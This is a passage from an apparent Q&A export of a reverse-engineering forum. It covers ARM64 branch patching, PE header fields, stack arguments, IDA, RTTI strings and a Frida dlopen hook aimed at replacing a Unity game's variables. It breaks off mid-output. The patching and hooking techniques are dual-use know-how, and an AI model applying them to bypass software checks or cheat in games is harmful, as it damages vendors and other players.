        "Answer": "<p>So, there are these  options:</p>\n\n<ol>\n<li>to always take the branch, you need to convert <code>CBZ</code> (compare and branch if zero) to simple <code>B</code> (branch always). Let's have a look at the encodings of both:</li>\n</ol>\n\n<p><a href=\"https://developer.arm.com/products/architecture/a-profile/docs/ddi0596/latest/a64-base-instructions-alphabetic-order/b\" rel=\"noreferrer\">B:</a>\n<code>\n    31 30  29  28  27  26   25 .. 0\n     0  0  0   1   0   1    imm26\n</code></p>\n\n<p><a href=\"https://developer.arm.com/products/architecture/a-profile/docs/ddi0596/latest/a64-base-instructions-alphabetic-order/cbz\" rel=\"noreferrer\">CBZ:</a></p>\n\n<p><code>\n31  30  29  28  27  26  25  24  23..5 4..0\nsf  0   1   1   0   1   0   0   imm19 Rt\n</code></p>\n\n<p>To convert <code>CBZ</code> to <code>B</code>, you need to patch the opcode part (bits 31..26) and move the <code>imm19</code> field (branch offset) to the <code>imm26</code> field of the <code>B</code> opcode (bits 25..0). Since both opcodes interpret the offset in the same way (multiply by 4 and add to PC), you don't need to do any conversion besides sign extension. </p>\n\n<p>For example, let's take this instruction from a random sample I had:</p>\n\n<pre><code>05088 E0 01 00 34  CBZ W0, loc_50C4\n</code></pre>\n\n<p>Opcode as a 32-bit value: <code>0x340001E0</code> (AArch64 always uses little-endian instructions)</p>\n\n<p>In binary: <code>00110100000000000000000111100000</code>.</p>\n\n<p>Split by fields:</p>\n\n<p><code>\n0  0110100 0000000000000001111 00000\nsf op     imm19               Rt<br>\n</code></p>\n\n<p>Let's assemble the <code>B</code> opcode (sign-extending imm19 to 26 bits):</p>\n\n<p><code>\n000101  00000000000000000000001111\nop      imm26\n</code></p>\n\n<p>Or, as hex: 0x1400000F</p>\n\n<p>After patching:</p>\n\n<pre><code>5088 0F 00 00 14                 B               loc_50C4\n</code></pre>\n\n<ol start=\"2\">\n<li>To skip the branch, you can patch <code>CBZ</code> to a <code>NOP</code> (no operation). The <code>NOP</code> encoding for ARM64 is 0xD503201F or <a href=\"https://developer.arm.com/products/architecture/a-profile/docs/ddi0596/latest/a64-base-instructions-alphabetic-order/nop\" rel=\"noreferrer\"><code>1F 20 03 D5</code></a></li>\n</ol>\n"
    },
    {
        "Id": "18840",
        "CreationDate": "2018-07-19T00:41:27.133",
        "Body": "<p>i made a random console application and loaded into IDA. The start of .text section shown is 00BA1000. Then i loaded the application into CFF explorer. The address of entry point was 000110AA. Is it the offset to the function? If yes, is it the raw offset (in the exe file) or virtual offset (after the exe is loaded in memory) ? Then i saw there was a key named 'base of code'. Why isnt addressofentrypoint the same as base of code? I mean, they are start of the text section too right? With IDA , i can know the start of .text section is 00BA1000. But, how can i know it with CFF explorer? With CFF, i can know the virtual address of text section is 00011000. So when the program is loaded into memory, the start of the text section should be imagebase + 00011000 right? With ollydbg i can know its wrong. The calculated address isnt the correct one, but the one shown in IDA is. These questions messed me up. Hope you can help me !!!</p>\n\n<p>CFF explorer (basically helps you look into PE header) : <a href=\"https://ntcore.com/?page_id=388\" rel=\"nofollow noreferrer\">https://ntcore.com/?page_id=388</a></p>\n\n<p>Screenshots:\n<a href=\"https://i.stack.imgur.com/Fj8vy.jpg\" rel=\"nofollow noreferrer\">https://i.stack.imgur.com/Fj8vy.jpg</a></p>\n\n<p><a href=\"https://i.stack.imgur.com/mOCHs.jpg\" rel=\"nofollow noreferrer\">https://i.stack.imgur.com/mOCHs.jpg</a></p>\n\n<p><a href=\"https://i.stack.imgur.com/5rW6t.jpg\" rel=\"nofollow noreferrer\">https://i.stack.imgur.com/5rW6t.jpg</a></p>\n\n<p>Thanks a lot for reading!</p>\n",
        "Title": "How to find start of .text section?",
        "Tags": "|ida|disassembly|",
        "Answer": "<p>Base of code is where the code starts<br>\nAddress of Entrypoint is Where the executable starts executing (the main function's first instruction) </p>\n\n<p>they both can be same or different   </p>\n\n<p>here is an example where they both are same   </p>\n\n<pre><code>:\\&gt;dumpbin /headers funadd.exe | grep -iE \"base of code|entry point\"\n            1000 entry point (00401000) _WinMain@16\n            1000 base of code\n</code></pre>\n\n<p>that is becasue the main function does not refer any other function   </p>\n\n<p>suppose you have code like this   </p>\n\n<pre><code>int main (void) { printf ( \"%x\\n\" , dosomecrap() ); }   \n</code></pre>\n\n<p>then when compiling the main function needs to refer to the dosomecrap()   function  so the compiler will compile the dosomecrap() first and put the   code from base of code </p>\n\n<p>in this case main () comes later in the code section<br>\nso they both wont be same   </p>\n\n<p>Address of Entry Point will point to main()<br>\nBase of code may point to start of dosomecrap()   </p>\n\n<p>in normal compiled executables   main is not the first code that is exceuted   </p>\n\n<p>it is cruntime init code like maincrtstartup() or WinMainCrtStartup()   </p>\n\n<p>that is executed first    </p>\n\n<p>import section can be  merged into text section </p>\n\n<p>in that case the resolved imports start at base of code </p>\n\n<p>you can write code like this and merge data section into .text section in this case the embedded bytes would be the first bytes at base of code </p>\n\n<pre><code>#include &lt;windows.h&gt;\n\nint p[] = { '\\x90\\x90\\x90\\x90' };\n\nint funAdd() {\n    int myvar = 2; \n    return myvar + p[0];\n}\n\nint CALLBACK  WinMain(_In_ HINSTANCE,_In_opt_ HINSTANCE,_In_ LPSTR,_In_ int) {\n    funAdd();\n}\n</code></pre>\n\n<p>if you compile this with </p>\n\n<pre><code>cl /Zi /W4 /analyze /EHsc /Od /nologo funadd.cpp /link /release /subsystem:windows /entry:WinMain /nologo /merge:.data=.text\n</code></pre>\n\n<p>and check you can see bith base of code an address of entry point differ </p>\n\n<p>Address of entry point has been shifted 16 bytes or 0x10 bytes (alignment requirement says code should be aligned to 16 byte boundary ) </p>\n\n<pre><code>:\\&gt;dumpbin /headers funadd.exe | grep -iE \"base of code|entry point\"\n            1010 entry point (00401010) _WinMain@16\n            1000 base of code\n</code></pre>\n\n<p>you can see the 0x90 as below </p>\n\n<pre><code>:\\&gt;dumpbin /disasm /range:0x401000,0x401016  funadd.exe\nMicrosoft (R) COFF/PE Dumper Version 14.14.26430.0\nCopyright (C) Microsoft Corporation.  All rights reserved.\n\n\nDump of file funadd.exe\n\nFile Type: EXECUTABLE IMAGE\n\n?p@@3PAHA:\n  00401000: 90 90 90 90                                      ....\n  00401004: 00 00 00 00 00 00 00 00 00 00 00 00              ............\n_WinMain@16:\n  00401010: 55                 push        ebp\n  00401011: 8B EC              mov         ebp,esp\n  00401013: E8 08 00 00 00     call        ?funAdd@@YAHXZ\n\n  Summary\n\n        1000 .text\n</code></pre>\n"
    },
    {
        "Id": "18851",
        "CreationDate": "2018-07-20T15:43:40.127",
        "Body": "<p>Let's say I have an apk of an android fighting game. The mechanics of the game includes how characters use their skills, how the damages are calculated, etc. Are such mechanics stored within the apk? Or perhaps on the server-side? Thanks in advance.</p>\n",
        "Title": "does android apk contain game mechanics?",
        "Tags": "|android|apk|",
        "Answer": "<p><strong>Short answer</strong></p>\n\n<p>Single player games most frequently do contain all the information hard coded in the APK.\nMultiplayer games usually require more work such as packet analysis and more black box work but may contain some of the mechanics hard-coded.</p>\n\n<p><hr/>\n<strong>Generally</strong></p>\n\n<p>It depends on the app, usually, most single player games don't require any online verifications other than in-app purchases and such. Multiplayer game producers are less likely to reveal the mechanics behind the game, and try to depend as much as possible on server side verifications. Especially in games where PvP is present, thus even the pseudo random number generator used to calculate hits may be black boxed from the user to prevent any misuse/exploitation of the game mechanics.</p>\n\n<p>However, since performance over different connection strength is important, sacrifices could be necessary for maintaining sensible gameplay experience and as a consequence some game mechanics remain hard-coded in the APK to improve performance and reduce the load on the server (and may be encrypted and verified by server-side upon game load).\nfor example, instead of requesting the server to update player location on every input, a request is being made periodically to sync the server and client copy of the location which means that the core movement and physics mechanics must be stored on the client side.</p>\n\n<p>In order to understand the mechanics of a single player game without any kind of online verifications and little to no interactions with a server-side. Simple decompilation (or disassembly in case of obfuscation and NDK usage for example) would provide all the information required to understand all the game mechanics.</p>\n\n<p>On multiplayer games usually you need to resort to more through research which may include:</p>\n\n<ul>\n<li><p><em>packet analysis</em> - Observing interactions with the server are very useful and reveal a lot of useful information. But note that this information could be frequently black boxed, such as a request which contains a string similar to <code>hit target_object</code> and the response may be just the same packet with a concatination of a number.</p></li>\n<li><p><em>local data observation</em> - Another technique is to observe and analyse downloaded data from the server which might help revealing game mechanics (xp rate multipliers from items, additional hidden stats for items etc..) sometimes you might find yourself trying to unencrypt encrypted data which was downloaded and is verified each time a connection is made in hope to reveal some information on mechanics by observing the requests and responses.</p></li>\n</ul>\n\n<p>Debugging online games can sometimes be difficult due to crashes and disconnections from the server which may be the cause of getting out of sync and tgus observing the memory isn't very practical in the more intense online games which sync every couple of milliseconds with the server.</p>\n\n<p>In short, it largely depends on how the game is constructed and on the nature of the client-server interactions.</p>\n"
    },
    {
        "Id": "18855",
        "CreationDate": "2018-07-21T02:50:23.047",
        "Body": "<p>To self-teach myself reverse engineering, I am writing small C programs and reversing them in order to understands how the compiler sees my code. However, I am having quite tough time understanding the stack concept w.r.t command line arguments.</p>\n\n<p>So for a basic c code like this:</p>\n\n<pre><code>int main(int argc, char** argv){\n\n    if(argc &lt; 2){\n        printf(\"1 argument needed!\");   \n    } else {\n        printf(\"\\n -- %s Entered\", argv[1]);\n        printf(\"\\n%s -- is the first argument\\n\", argv[0]);\n    }\n    return 0;\n}\n</code></pre>\n\n<p>The conversion is as follows:</p>\n\n<p><a href=\"https://i.stack.imgur.com/bnshZ.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/bnshZ.png\" alt=\"IDA Pro Free DSM Code\"></a></p>\n\n<p>The commented parts are where I am having a tough time:</p>\n\n<pre><code>var_10= qword ptr -10h\nvar_4= dword ptr -4\npush    rbp ; understandable due to convention\nmov     rbp, rsp ; same as above\nsub     rsp, 10h ; why the space allocation? \nmov     [rbp+var_4], edi ; ?\nmov     [rbp+var_10], rsi ; ?\n</code></pre>\n",
        "Title": "Understanding Program Arguments on the Stack in Assembly",
        "Tags": "|assembly|c|stack|amd64|arguments|",
        "Answer": "<p>First of all, you have to understand that there is a specification for all these things. These specifications differ from one assembly language to another and from one operating system to the other.</p>\n\n<p>These global specification are called Application Binary Interface (ABI) and define, among other things, what we call the '<em>calling conventions</em>' of functions. IDAPro seems to have found that your program is following the <code>cdecl</code> convention but I doubt it is correct, I think that the calling convention used here is <code>fastcall</code> within the <code>amd64</code> SystemV ABI (see <a href=\"https://en.wikipedia.org/wiki/X86_calling_conventions\" rel=\"noreferrer\">the wikipedia page about calling conventions</a>). My guess is that you are using Linux...</p>\n\n<p>So, the manipulation of <code>rpb</code> and <code>rsp</code> are just here to save the previous state of the stack-frame in order to restore it when you leave the function (you stack the content of <code>rbp</code> on the stack with the hope that you will be able to restore it when you leave the function at the end). But, you already understood this.</p>\n\n<p>The space allocation (<code>sub rsp, 10h</code>) come from the fact that you have to store one <code>int</code> (<code>argc</code>) of 4 bytes and one pointer to a <code>char*</code> (<code>argv</code>) of 8 bytes. I know, when added it is only 12 bytes and not 16 bytes (<code>10h</code>). But, the access in memory for the CPU have been optimized when they are <em>aligned</em> (meaning that they start at an address which is a power of 2, or, if you consider hexadecimal representation, the address must end with a <code>0</code>). So, the compiler decided to round-up the memory needed to <strong>align</strong> the data and be more efficient fetching it.</p>\n\n<p>Then, you have the memory space available on the stack, now lets go fetch the data. So, for that you have to know what does the caller function before starting the function we are currently looking at.</p>\n\n<p>In fact, the previous function, before calling the function we are in, has stored the arguments of our function in some registers. Here, it is important to agree that all the function (caller and callee) will use the same set of registers to pass the arguments from the caller to the callee.</p>\n\n<p>So, usually, the first integer argument is stored in <code>rdi</code> and the second in <code>rsi</code> (the full list of registers is listed <a href=\"https://en.wikipedia.org/wiki/X86_calling_conventions#System_V_AMD64_ABI\" rel=\"noreferrer\">here</a>. Here, as the first argument is <code>argc</code> an <code>int</code>, a 32-bit register is enough (4 bytes), so we use <code>edi</code> in place of <code>rdi</code>. And, as the second argument is a pointer (<code>argv</code>), we need the full 64-bit register <code>rsi</code> (8 bytes).</p>\n\n<p>What do we do with this? Well, we store preciously <code>argc</code> and <code>argv</code> within our stack-frame in the memory we just allocated before.</p>\n\n<p>Note that the address stored in <code>rbp</code> will not change all along the life of the current stack-frame (as we need it at the end to perform a <code>leave</code> and restore the address of the <code>rbp</code> of the previous stack-frame). So, most of the compilers will use <code>rbp</code> as point of reference to call the variables which are local to the current stack-frame. Thus, <code>rbp+var_4</code> refer to <code>argc</code> and <code>rbp+var_10</code> refer to <code>argv</code> from now.</p>\n\n<p>Well, that is about all you really need to know about the <code>fastcall</code> convention in Linux. Now, the program should be more understandble to you.</p>\n\n<p>Hope this helped!</p>\n"
    },
    {
        "Id": "18860",
        "CreationDate": "2018-07-21T17:54:43.823",
        "Body": "<p>After setting up a home lab and installing the latest IDA 7.0 freeware, I don't see the debugger submenu I was expecting -- I've only used it in an academic setting before and it came pre-configured for me.</p>\n\n<p>Is the debugger a separate add-in that I need to install/enable?</p>\n",
        "Title": "Installed IDA 7.0 Freeware -- no debugger, is that installed separately?",
        "Tags": "|ida|debuggers|",
        "Answer": "<p>The freeware version comes without such features as a debugger.\nAccording to the <a href=\"https://www.hex-rays.com/products/ida/support/download_freeware.shtml\" rel=\"nofollow noreferrer\">freeware page</a> on Hex-Rays site:</p>\n<blockquote>\n<p>The freeware version of IDA v7.0 has the following limitations:</p>\n<p>...</p>\n<ul>\n<li>lacks support for many processors, file formats, debugging etc...</li>\n</ul>\n</blockquote>\n<p><strong>edit:</strong></p>\n<p>IDA freeware is now released <em>with</em> the debugging feature available since March 2019. The above quote no longer includes &quot;debugging&quot; on the free download page linked above.</p>\n"
    },
    {
        "Id": "18864",
        "CreationDate": "2018-07-22T08:33:46.187",
        "Body": "<p>I am reversing a class, which has RTTI information. It has 2 virtual functions in its vftable, and in IDA Pro I can see some kind of zero terminated strings below the last vfunction. Here's how it looks like:</p>\n\n<pre><code>.rdata:00007FF6EF4FB598 ; class BSTValueEventSource&lt;ViewCasterUpdateEvent&gt;: BSTEventSink&lt;BSTValueRequestEvent&lt;ViewCasterUpdateEvent&gt; &gt;;   (#classinformer)\n.rdata:00007FF6EF4FB598                 dq offset ??_R4?$BSTValueEventSource@VViewCasterUpdateEvent@@@@6B@ ; const BSTValueEventSource&lt;ViewCasterUpdateEvent&gt;::`RTTI Complete Object Locator'\n.rdata:00007FF6EF4FB5A0 ; const BSTValueEventSource&lt;class ViewCasterUpdateEvent&gt;::`vftable'\n.rdata:00007FF6EF4FB5A0 ??_7?$BSTValueEventSource@VViewCasterUpdateEvent@@@@6B@ dq offset sub_7FF6ED1A39F0\n.rdata:00007FF6EF4FB5A0                                         ; DATA XREF: sub_7FF6ED19DC00:loc_7FF6ED19DC13\u2191o\n.rdata:00007FF6EF4FB5A0                                         ; sub_7FF6ED19E180:loc_7FF6ED19E263\u2191o ...\n.rdata:00007FF6EF4FB5A8                 dq offset sub_7FF6ED1A4560 ; //\n.rdata:00007FF6EF4FB5B0 aTtcastray      db 'TtCastRay',0        ; DATA XREF: sub_7FF6ED19E2D0+AF9\u2191o\n.rdata:00007FF6EF4FB5B0                                         ; sub_7FF6ED1A4F80+48\u2191o ...\n.rdata:00007FF6EF4FB5BA                 align 20h\n.rdata:00007FF6EF4FB5C0 aBusefuzzypicki db 'bUseFuzzyPicking:Interface',0\n.rdata:00007FF6EF4FB5C0                                         ; DATA XREF: .data:00007FF6EFF50D68\u2193o\n.rdata:00007FF6EF4FB5DB                 align 20h\n.rdata:00007FF6EF4FB5E0 aFactivatepickr db 'fActivatePickRadius:Interface',0\n.rdata:00007FF6EF4FB5E0                                         ; DATA XREF: .data:00007FF6EFF50D80\u2193o\n.rdata:00007FF6EF4FB5FE                 align 20h\n.rdata:00007FF6EF4FB600 aFactivatepickl db 'fActivatePickLength:Interface',0\n.rdata:00007FF6EF4FB600                                         ; DATA XREF: .data:00007FF6EFF50D98\u2193o\n.rdata:00007FF6EF4FB61E                 align 20h\n.rdata:00007FF6EF4FB620 aFlargeactivate db 'fLargeActivatePickLength_G:Interface',0\n.rdata:00007FF6EF4FB620                                         ; DATA XREF: .data:00007FF6EFF50DB0\u2193o\n.rdata:00007FF6EF4FB645                 align 8\n...\n</code></pre>\n\n<p>It seems that those strings can provide some useful information, but all the sources on RTTI I read didn't have anything that could explain them.</p>\n\n<p>What could those strings be?</p>\n",
        "Title": "What are zero terminated strings below vftable in RTTI?",
        "Tags": "|disassembly|c++|",
        "Answer": "<p>As <em>usr2564301</em> suggested, I checked the XREF's provided by IDA. They pointed to a class <code>SettingT&lt;INISettingCollection&gt;</code>.</p>\n\n<p>It looks like those string have nothing to do with RTTI and are related to settings in an INI file.</p>\n"
    },
    {
        "Id": "18866",
        "CreationDate": "2018-07-22T13:05:19.700",
        "Body": "<p>In the past for years I used some disassembler and tried some decompiler, nowadays there's so much talking and stuff about deep learning and AI, I wonder if some can be used with those tasks (given some human training) and if there's some tool using it already.</p>\n",
        "Title": "Can AI be used to write better decompilers/disassemblers?",
        "Tags": "|disassemblers|decompiler|",
        "Answer": "<p>I want to say yes, but I have to say <strong>NO</strong>. The thing is that computers grab our programs that we write and optimize them in a way that often will make little or no sense to humans. You'll see things being multiplied and arrays being worked with that you can understand what is happening , but it is very unhuman to work with data in this kind of way. <strong>Computers and humans think very differently.</strong></p>\n\n<p>I think could be possible for an AI to do the following:</p>\n\n<ul>\n<li>Grab the assembly and convert and either make it clearer for\nhumans to understand.</li>\n<li>Make a near useable form of assembly. (Maybe.... Because we would be keeping the computer's understanding of the relative data intact. )</li>\n</ul>\n\n<p>Take this simple example:</p>\n\n<pre><code>MOV v7, DWORD PTR [v7 + 0x8]\n</code></pre>\n\n<p>would convert to </p>\n\n<pre><code>v7 = *(_DWORD *)(v7 + 8);\n</code></pre>\n\n<p>then to</p>\n\n<pre><code>v7 = *(v7 + 8)\n</code></pre>\n\n<p>And this might be really something completely different in source.</p>\n\n<p>where as you might see something like</p>\n\n<pre><code>mov eax, dword ptr ds: [ESI*deadbeef+0b0] \n</code></pre>\n\n<p>and the computer will think</p>\n\n<pre><code>int a = somefoovar[v5].someint\n</code></pre>\n\n<p>or </p>\n\n<pre><code>int a = 1234;\n</code></pre>\n\n<p>Both are kind of correct... If that array doesn't have changing data in it.</p>\n\n<p>but a computer might look at this as a single variable, when it could be something temporary. Also I have noticed that in my own decompilation work, that you'll wind up with a lot more static variables that are when you originally start.</p>\n\n<p>I think some other problems might be that the program might not ever hit certain parts of a function and might not understand all event paths.</p>\n\n<p>Personally, I would like to see AI what AI can come up with . Maybe it would be nice to have a pseudo translator of code. But I know that I will have to clean up after it and correct it's understandings.</p>\n"
    },
    {
        "Id": "18877",
        "CreationDate": "2018-07-23T21:19:22.610",
        "Body": "<p>I'm trying to extract symbols from an Android Unity game to detect something related to the game which I can intercept and replace variables.</p>\n\n<p>The following code will enumerate symbols from libmain.so, libmono.so &amp; libunity.so but not UnityEngine.*.dll.so, it seems they did not get addresses (retval equals 0x0), \nI'm assuming they <strong>did not load yet (that's way no address), what function is in-charge on loading them</strong> ? can I hook it and than enumerate symbols ?\nany help ?</p>\n\n<pre><code>Interceptor.attach(Module.findExportByName(null, 'dlopen'), {\n    onEnter: function(args) {\n        this.lib = Memory.readUtf8String(args[0]);\n    },\n    onLeave: function(retval) {\n        console.log(\n            this.lib.substr(this.lib.lastIndexOf('/') + 1, this.lib.length) +\n            ' [ ' + retval + ' ] \\n' +\n            Module.enumerateExportsSync(this.lib).map(function(x) {\n                return x.name\n            })\n        );\n    }\n});\n</code></pre>\n\n<p>output:</p>\n\n<pre><code>libmain.so [ 0xac651e74 ] \n__aeabi_unwind_cpp_pr0,JNI_OnLoad,__aeabi_unwind_cpp_pr1,__aeabi_unwind_cpp_pr2,__gnu_Unwind_Restore_VFP_D,__gnu_Unwind_Restore_VFP,__gnu_Unwind_Restore_VFP_D_16_to_31,__gnu_Unwind_Restore_WMMXD,__gnu_Unwind_Restore_WMMXC,restore_core_regs,_Unwind_GetCFA,__gnu_Unwind_RaiseException,__gnu_Unwind_ForcedUnwind,__gnu_Unwind_Resume,__gnu_Unwind_Resume_or_Rethrow,_Unwind_Complete,_Unwind_DeleteException,_Unwind_VRS_Get,_Unwind_VRS_Set,__gnu_Unwind_Backtrace,__gnu_unwind_execute,_Unwind_VRS_Pop,__gnu_Unwind_Save_VFP_D,__gnu_Unwind_Save_VFP,__gnu_Unwind_Save_VFP_D_16_to_31,__gnu_Unwind_Save_WMMXD,__gnu_Unwind_Save_WMMXC,__restore_core_regs,___Unwind_RaiseException,_Unwind_RaiseException,___Unwind_Resume,_Unwind_Resume,___Unwind_Resume_or_Rethrow,_Unwind_Resume_or_Rethrow,___Unwind_ForcedUnwind,_Unwind_ForcedUnwind,___Unwind_Backtrace,_Unwind_Backtrace,__gnu_unwind_frame,_Unwind_GetRegionStart,_Unwind_GetLanguageSpecificData,_Unwind_GetDataRelBase,_Unwind_GetTextRelBase\nlibunity.so [ 0xb399b004 ] \n_ZNSt6vectorIcSaIcEE17_M_default_appendEj,_ZNSt6vectorIjSaIjEE17_M_default_appendEj,_ZdaPv,_ZdlPv,_Znaj,_Znwj,_ZdlPvRKSt9nothrow_t,_ZnwjRKSt9nothrow_t,_ZdaPvRKSt9nothrow_t,_ZnajRKSt9nothrow_t,_ZNSt6vectorIiSaIiEE17_M_default_appendEj,_ZNSt8_Rb_treeIiiSt9_IdentityIiESt4lessIiESaIiEE12_M_erase_auxESt23_Rb_tree_const_iteratorIiES7_,_ZNSt8_Rb_treeIiiSt9_IdentityIiESt4lessIiESaIiEE16_M_insert_uniqueIRKiEESt4pairISt17_Rb_tree_iteratorIiEbEOT_,_ZNSt8_Rb_treeIiiSt9_IdentityIiESt4lessIiESaIiEE5eraseERKi,_ZNSt8_Rb_treeIiiSt9_IdentityIiESt4lessIiESaIiEE8_M_eraseEPSt13_Rb_tree_nodeIiE,_ZNSt6vectorIfSaIfEE14_M_fill_insertEN9__gnu_cxx17__normal_iteratorIPfS1_EEjRKf,_ZNSt6vectorIfSaIfEE19_M_emplace_back_auxIJfEEEvDpOT_,_ZNSt6vectorISt4pairIiiESaIS1_EE17_M_default_appendEj,_ZNSt6vectorIiSaIiEE19_M_emplace_back_auxIJRKiEEEvDpOT_,_ZNSt6vectorIiSaIiEE19_M_emplace_back_auxIJiEEEvDpOT_,_ZNSt6vectorISt4pairIijESaIS1_EE19_M_emplace_back_auxIJS1_EEEvDpOT_,_ZNSt6vectorISt4pairIijESaIS1_EEaSERKS3_,_ZSt17__rotate_adaptiveIN9__gnu_cxx17__normal_iteratorIPSt4pairIijESt6vectorIS3_SaIS3_EEEES4_iET_S9_S9_S9_T1_SA_T0_SA_,_ZSt8__rotateIN9__gnu_cxx17__normal_iteratorIPSt4pairIijESt6vectorIS3_SaIS3_EEEEEvT_S9_S9_St26random_access_iterator_tag,_ZSt8__rotateIPiEvT_S1_S1_St26random_access_iterator_tag,_ZNSt6vectorIhSaIhEE17_M_default_appendEj,_ZNSt8_Rb_treeIjjSt9_IdentityIjESt4lessIjESaIjEE16_M_insert_uniqueIRKjEESt4pairISt17_Rb_tree_iteratorIjEbEOT_,_ZNSt8_Rb_treeIjjSt9_IdentityIjESt4lessIjESaIjEE16_M_insert_uniqueISt23_Rb_tree_const_iteratorIjEEEvT_S9_,_ZNSt8_Rb_treeIjjSt9_IdentityIjESt4lessIjESaIjEE16_M_insert_uniqueIjEESt4pairISt17_Rb_tree_iteratorIjEbEOT_,_ZNSt8_Rb_treeIjjSt9_IdentityIjESt4lessIjESaIjEE29_M_get_insert_hint_unique_posESt23_Rb_tree_const_iteratorIjERKj,_ZNSt8_Rb_treeIjjSt9_IdentityIjESt4lessIjESaIjEE7_M_copyEPKSt13_Rb_tree_nodeIjEPS7_,_ZNSt8_Rb_treeIjjSt9_IdentityIjESt4lessIjESaIjEE8_M_eraseEPSt13_Rb_tree_nodeIjE,_ZNSt6vectorIS_IfSaIfEESaIS1_EE19_M_emplace_back_auxIJRKS1_EEEvDpOT_,_ZNSt8_Rb_treeIiiSt9_IdentityIiESt4lessIiESaIiEE16_M_insert_uniqueIiEESt4pairISt17_Rb_tree_iteratorIiEbEOT_,_ZNSt6vectorIjSaIjEE19_M_emplace_back_auxIJRKjEEEvDpOT_,_ZNSt6vectorIiSaIiEE13_M_insert_auxIJRKiEEEvN9__gnu_cxx17__normal_iteratorIPiS1_EEDpOT_,_ZNSt6vectorIiSaIiEE13_M_insert_auxIJiEEEvN9__gnu_cxx17__normal_iteratorIPiS1_EEDpOT_,_ZNSt8_Rb_treeIPKvS1_St9_IdentityIS1_ESt4lessIS1_ESaIS1_EE16_M_insert_uniqueIS1_EESt4pairISt17_Rb_tree_iteratorIS1_EbEOT_,_ZNSt8_Rb_treeIPKvS1_St9_IdentityIS1_ESt4lessIS1_ESaIS1_EE8_M_eraseEPSt13_Rb_tree_nodeIS1_E,_ZNSt6vectorIjSaIjEE13_M_assign_auxIN9__gnu_cxx17__normal_iteratorIPjS1_EEEEvT_S7_St20forward_iterator_tag,_ZNSt6vectorIjSaIjEE14_M_fill_insertEN9__gnu_cxx17__normal_iteratorIPjS1_EEjRKj,_ZNSt6vectorIiSaIiEE13_M_assign_auxISt23_Rb_tree_const_iteratorIiEEEvT_S5_St20forward_iterator_tag,_ZNSt8_Rb_treeIiSt4pairIKiiESt10_Select1stIS2_ESt4lessIiESaIS2_EE22_M_emplace_hint_uniqueIJRKSt21piecewise_construct_tSt5tupleIJRS1_EESD_IJEEEEESt17_Rb_tree_iteratorIS2_ESt23_Rb_tree_const_iteratorIS2_EDpOT_,_ZNSt8_Rb_treeIiSt4pairIKiiESt10_Select1stIS2_ESt4lessIiESaIS2_EE29_M_get_insert_hint_unique_posESt23_Rb_tree_const_iteratorIS2_ERS1_,_ZNSt8_Rb_treeIiSt4pairIKiiESt10_Select1stIS2_ESt4lessIiESaIS2_EE8_M_eraseEPSt13_Rb_tree_nodeIS2_E,_ZNSt6vectorIfSaIfEE17_M_default_appendEj,_ZNSt6vectorIjSaIjEE19_M_emplace_back_auxIJjEEEvDpOT_,UnitySendMessage,_ZNSt6vectorIcSaIcEE19_M_emplace_back_auxIJcEEEvDpOT_,_ZNSt6vectorIhSaIhEE15_M_range_insertIPhEEvN9__gnu_cxx17__normal_iteratorIS3_S1_EET_S7_St20forward_iterator_tag,_ZNSt6vectorIhSaIhEE19_M_emplace_back_auxIJhEEEvDpOT_,JNI_OnLoad,JNI_OnUnload,_ZNSt8_Rb_treeIiSt4pairIKi9sigactionESt10_Select1stIS3_ESt4lessIiESaIS3_EE22_M_emplace_hint_uniqueIJRKSt21piecewise_construct_tSt5tupleIJRS1_EESE_IJEEEEESt17_Rb_tree_iteratorIS3_ESt23_Rb_tree_const_iteratorIS3_EDpOT_,_ZNSt8_Rb_treeIiSt4pairIKi9sigactionESt10_Select1stIS3_ESt4lessIiESaIS3_EE29_M_get_insert_hint_unique_posESt23_Rb_tree_const_iteratorIS3_ERS1_,_ZNSt8_Rb_treeIiSt4pairIKi9sigactionESt10_Select1stIS3_ESt4lessIiESaIS3_EE8_M_eraseEPSt13_Rb_tree_nodeIS3_E,_ZNSt8_Rb_treeIiSt4pairIKiiESt10_Select1stIS2_ESt4lessIiESaIS2_EE16_M_insert_uniqueIS0_IiiEEES0_ISt17_Rb_tree_iteratorIS2_EbEOT_,_ZNSt8_Rb_treeIiSt4pairIKiiESt10_Select1stIS2_ESt4lessIiESaIS2_EE7_M_copyEPKSt13_Rb_tree_nodeIS2_EPSA_,_ZN9__gnu_cxx21_Hashtable_prime_listImE16__stl_prime_listE,_ZNSt8_Rb_treeIyySt9_IdentityIyESt4lessIyESaIyEE12_M_erase_auxESt23_Rb_tree_const_iteratorIyES7_,_ZNSt8_Rb_treeIyySt9_IdentityIyESt4lessIyESaIyEE16_M_insert_uniqueIRKyEESt4pairISt17_Rb_tree_iteratorIyEbEOT_,_ZNSt8_Rb_treeIyySt9_IdentityIyESt4lessIyESaIyEE5eraseERKy,_ZNSt8_Rb_treeIyySt9_IdentityIyESt4lessIyESaIyEE8_M_eraseEPSt13_Rb_tree_nodeIyE,_ZNSt6vectorISt4pairIS0_IttEfESaIS2_EE17_M_default_appendEj,_ZNSt6vectorIhSaIhEE19_M_emplace_back_auxIJRKhEEEvDpOT_,_ZNSt6vectorIySaIyEE19_M_emplace_back_auxIJRKyEEEvDpOT_,_ZNSt6vectorIS_IySaIyEESaIS1_EE19_M_emplace_back_auxIJRKS1_EEEvDpOT_,_ZNSt6vectorIhSaIhEE15_M_range_insertIN9__gnu_cxx17__normal_iteratorIPhS1_EEEEvS6_T_S7_St20forward_iterator_tag,_ZNSt6vectorIhSaIhEE15_M_range_insertIPKcEEvN9__gnu_cxx17__normal_iteratorIPhS1_EET_S9_St20forward_iterator_tag,_ZNSt6vectorIhSaIhEE15_M_range_insertIPKhEEvN9__gnu_cxx17__normal_iteratorIPhS1_EET_S9_St20forward_iterator_tag,_ZNSt6vectorIhSaIhEE15_M_range_insertIPcEEvN9__gnu_cxx17__normal_iteratorIPhS1_EET_S8_St20forward_iterator_tag,_ZNSt6vectorIxSaIxEE19_M_emplace_back_auxIJRKxEEEvDpOT_,_ZNSt6vectorIhSaIhEEaSERKS1_,_ZNSt6vectorItSaItEEaSERKS1_\nlibmono.so [ 0xb399b3f4 ] 